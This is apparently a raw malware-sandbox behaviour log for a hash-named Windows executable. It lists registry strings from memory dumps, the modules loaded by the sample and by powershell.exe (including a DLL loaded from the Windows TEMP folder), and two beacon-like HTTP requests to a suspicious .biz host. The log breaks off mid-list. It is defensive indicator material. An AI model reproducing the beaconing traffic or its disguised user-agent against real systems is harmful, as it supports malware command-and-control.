00000000-00004504.00000000.72490.00001000.00000020.mdmp "RegSetValueExW(HKLM\%s\%s\%s\%s,%s,0,REG_SZ,%s.%d)" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "RegEnumKeyExW(HKLM\%s\%s,%s,%d,...)" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "Force flag given but registry key SYSTEM\CurrentControlSet\Services\VSS\Settings, value name BlockSignatureRevert." in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "SOFTWARE\MICROSOFT\WINDOWS NT\CurrentVersion\ASR\BackupSession" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "Registry\Machine\SYSTEM\CurrentControlSet\Control" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "Registry\Machine\SYSTEM\CurrentControlSet\Control\Syspart" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "HINE\SOFTWARE\Classes\Wow6432Node\C" in Source: 00000000-00004504.00000000.72490.00100000.00000004.mdmp "HINE\SOFTWARE\Classes\Wow6432Node\C" in Source: 00000000-00004504.00000001.74413.00100000.00000004.mdmp "SOFTWARE\Microsoft\Windows Search\CrawlScopeManager_PreviousVersion\" in Source: 00000000-00004520.00000000.72762.00270000.00000004.mdmp "SOFTWARE\Microsoft\Windows Search\CrawlScopeManager_Migrated\" in Source: 00000000-00004520.00000000.72762.00270000.00000004.mdmp "Software\Microsoft\Windows Search\CurrentPolicies" in Source: 00000000-00004520.00000000.72762.00270000.00000004.mdmp "MACHINE\SOFTWARE\Classes\CLSID" in Source: 00000000-00004520.00000000.72762.00270000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\W" in Source: 00000000-00004520.00000000.72762.00270000.00000004.mdmp "SOFTWARE\Microsoft\Windows Search\CrawlScopeManager\" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "Software\Microsoft\Windows Search\Gathering Manager\Applications\%s" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "Software\Microsoft\Windows Search\Gathering Manager" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "SOFTWARE\Microsoft\Windows Search" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "Software\Microsoft\Windows Search\Tracing\EventThrottleState" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "SOFTWARE\Microsoft\Windows Search\VolumeInfoCache" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "SOFTWARE\Microsoft\Windows Search\CrawlScopeManager_PreviousVersion\" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "SOFTWARE\Microsoft\Windows Search\CrawlScopeManager_Migrated\" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "Software\Microsoft\Windows Search\Gather\Windows\SystemIndex\Protocols" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows\Windows Search" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "SOFTWARE\Microsoft\Windows\Windows Search\Preferences" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "Software\Microsoft\Windows Search\Tracing\EventThrottleLastReported" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "Software\Microsoft\Windows Search\Tracing" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "Software\Microsoft\Windows Search\CurrentPolicies" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "SOFTWARE\Microsoft\InputPersonalization" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "SOFTWARE\Microsoft\Windows Search\Gathering Manager\Applications\Windows\PluginManagers" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "SOFTWARE\Microsoft\Windows Search\PreviousSettings" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "SOFTWARE\Microsoft\Windows Search\CrawlScopeManager_PreviousVersion\" in Source: 00000000-00004520.00000001.74685.00270000.00000004.mdmp "SOFTWARE\Microsoft\Windows Search\CrawlScopeManager_Migrated\" in Source: 00000000-00004520.00000001.74685.00270000.00000004.mdmp "Software\Microsoft\Windows Search\CurrentPolicies" in Source: 00000000-00004520.00000001.74685.00270000.00000004.mdmp "MACHINE\SOFTWARE\Classes\CLSID" in Source: 00000000-00004520.00000001.74685.00270000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{9E" in Source: 00000000-00004520.00000001.74685.00270000.00000004.mdmp "Software\Microsoft\Windows Search" in Source: 00000000-00004520.00000001.74685.015F0000.00000004.mdmp "Software\Microsoft\Windows Search\Gather\Windows\SystemIndex" in Source: 00000000-00004520.00000001.74685.015F0000.00000004.mdmp "Software\Microsoft\Windows Search\Gather\Windows\SystemIndex/" in Source: 00000000-00004520.00000001.74685.015F0000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\Wow6432Node\CLSID\{C7DFFDF1-BD1F-450A-B98D-96B6D30BA4C1}\ProgID" in Source: 00000000-00004520.00000001.74685.01760000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B056521A-9B10-425E-B616-1FCD828DB3B1}" in Source: 00000000-00004520.00000001.74685.01760000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{00020424-0000-0000-C000-000000000046}" in Source: 00000000-00004520.00000001.74685.01760000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{00020420-0000-0000-C000-000000000046}" in Source: 00000000-00004520.00000001.74685.01760000.00000004.mdmp "Software\Microsoft\Windows Search" in Source: 00000000-00004520.00000001.74685.063F0000.00000004.mdmp "SOFTWARE\Microsoft\Windows Search\CrawlScopeManager_PreviousVersion\" in Source: 00000000-00004520.00000002.76606.00270000.00000004.mdmp "SOFTWARE\Microsoft\Windows Search\CrawlScopeManager_Migrated\" in Source: 00000000-00004520.00000002.76606.00270000.00000004.mdmp "Software\Microsoft\Windows Search\CurrentPolicies" in Source: 00000000-00004520.00000002.76606.00270000.00000004.mdmp "MACHINE\SOFTWARE\Classes\CLSID" in Source: 00000000-00004520.00000002.76606.00270000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{9E" in Source: 00000000-00004520.00000002.76606.00270000.00000004.mdmp "Software\Microsoft\Windows Search" in Source: 00000000-00004520.00000002.76606.015F0000.00000004.mdmp "Software\Microsoft\Windows Search\Gather\Windows\SystemIndex" in Source: 00000000-00004520.00000002.76606.015F0000.00000004.mdmp "Software\Microsoft\Windows Search\Gather\Windows\SystemIndex/" in Source: 00000000-00004520.00000002.76606.015F0000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\Wow6432Node\CLSID\{C7DFFDF1-BD1F-450A-B98D-96B6D30BA4C1}\ProgID" in Source: 00000000-00004520.00000002.76606.01760000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B056521A-9B10-425E-B616-1FCD828DB3B1}" in Source: 00000000-00004520.00000002.76606.01760000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{00020424-0000-0000-C000-000000000046}" in Source: 00000000-00004520.00000002.76606.01760000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{00020420-0000-0000-C000-000000000046}" in Source: 00000000-00004520.00000002.76606.01760000.00000004.mdmp "Software\Microsoft\Windows Search" in Source: 00000000-00004520.00000002.76606.063F0000.00000004.mdmp "SOFTWARE\Microsoft\ALG\ISV" in Source: 00000000-00004600.00000001.72048.00001000.00000020.mdmp "SOFTWARE\Microsoft\ALG\ISV\{6E590D61-F6BC-4dad-AC21-7DC40D304059}" in Source: 00000000-00004600.00000001.72048.00001000.00000020.mdmp63:T490,"GET /xdn HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: www.anpmnmxo.biz" Response ==> HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html with response body ==>33633A36383A37343A36643A36633A33653A33633A36323A36663A36343A37393A33653A33633A36383A33313A33653A33343A33303A33333A32303A34363A36....... "GET /grb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: www.anpmnmxo.biz" Response ==> HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html with response body ==>33633A36383A37343A36643A36633A33653A33633A36323A36663A36343A37393A33653A33633A36383A33313A33653A33343A33303A33333A32303A34363A36.......64:T7bcd,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "GDI32.DLL" at base 76d00000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 75ac0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 749e0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "KERNEL32" at base 76940000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "ADVAPI32.DLL" at base 76c50000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 73130000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "SHLWAPI.DLL" at base 751b0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "VERSION.DLL" at base 74950000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 718c0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "USER32.DLL" at base 75bf0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 0 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "MSCOREE.DLL" at base 73300000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 0 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "PSAPI.DLL" at base 75210000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "RPCRT4.DLL" at base 75010000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "KERNEL32.DLL" at base 76940000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 703e0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "OLE32.DLL" at base 755d0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "CRYPTBASE.DLL" at base 74bc0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74840000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 703d0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 70340000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 6f3f0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DRAWING\F7568D7F1B9D356F64779B4C0927CFB3\SYSTEM.DRAWING.NI.DLL" at base 70190000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.WINDOWS.FORMS\C9A4CBC00F690A9E3CDDFC400F6E85BB\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 6e580000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.WINDOWS.FORMS\V4.0_4.0.0.0__B77A5C561934E089\UXTHEME.DLL" at base 0 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "UXTHEME.DLL" at base 74840000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 6dd60000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 70080000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 6d5e0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6d5c0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "NTDLL.DLL" at base 77330000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "SHELL32.DLL" at base 75cf0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75b20000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "PROFAPI.DLL" at base 74f20000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "BCRYPT.DLL" at base 6d5a0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "CRYPTSP.DLL" at base 6d580000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 6d540000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "IMM32.DLL" at base 75ac0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "COMCTL32.DLL" at base 73880000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.V9921E851#\A891970B44DB9E340C3EF3EFA95B793C\MICROSOFT.VISUALBASIC.NI.DLL" at base 6d350000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "GDIPLUS.DLL" at base 74010000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.7601.23894_NONE_5C0BE957A009922E\GDIPLUS.DLL" at base 74010000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 76940000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "WINDOWSCODECS.DLL" at base 73d40000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\URLMON.DLL" at base 0 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 76c40000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "URLMON.DLL" at base 76a50000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 74e40000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "SECUR32.DLL" at base 70070000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "OLEAUT32.DLL" at base 76ba0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WINTRUST.DLL" at base 0 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "WINTRUST.DLL" at base 757e0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "RICHED20.DLL" at base 6d2b0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCORSECIMPL.DLL" at base 6d330000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\SYSWOW64\CRYPT32.DLL" at base 74cd0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "IMAGEHLP.DLL" at base 74e50000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "NCRYPT.DLL" at base 6d2f0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\SYSWOW64\BCRYPTPRIMITIVES.DLL" at base 6d2b0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "USERENV.DLL" at base 74e20000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "GPAPI.DLL" at base 6d290000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL" at base 75b20000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL" at base 75b20000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 6d270000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "CRYPTNET.DLL" at base 6d270000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "SENSAPI.DLL" at base 6d260000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "WINHTTP.DLL" at base 739a0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "WS2_32.DLL" at base 75b40000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "SSPICLI.DLL" at base 74bd0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "CREDSSP.DLL" at base 6d250000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74670000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 73670000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 6d240000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "IPHLPAPI.DLL" at base 748d0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "DHCPCSVC6.DLL" at base 746d0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "DHCPCSVC.DLL" at base 746b0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "NSI.DLL" at base 77300000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "CFGMGR32.DLL" at base 75590000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL" at base 75b20000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "DNSAPI.DLL" at base 73e90000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "RASADHLP.DLL" at base 6d230000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 6d1f0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75b20000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "AMSI.DLL" at base 0 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "NTDLL" at base 77330000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "PROPSYS.DLL" at base 73540000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "COMCTL32.DLL" at base 744c0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "APPHELP.DLL" at base 747d0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "CLBCATQ.DLL" at base 74c30000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\SYSWOW64\IEFRAME.DLL" at base 6c4d0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "SETUPAPI.DLL" at base 76d90000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73540000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "NTMARTA.DLL" at base 73640000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 76a50000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 747d0000 "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" loaded module "RPCRTREMOTE.DLL" at base 6d1c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 749e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "powershell.exe" loaded module "KERNEL32" at base 76940000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 731c0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 76c50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 73130000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 751b0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "VERSION.DLL" at base 74950000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 718c0000 "powershell.exe" loaded module "USER32.DLL" at base 75bf0000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 73300000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 0 "powershell.exe" loaded module "PSAPI.DLL" at base 75210000 "powershell.exe" loaded module "RPCRT4.DLL" at base 75010000 "powershell.exe" loaded module "KERNEL32.DLL" at base 76940000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSCOREE.DLL" at base 73300000 "powershell.exe" loaded module 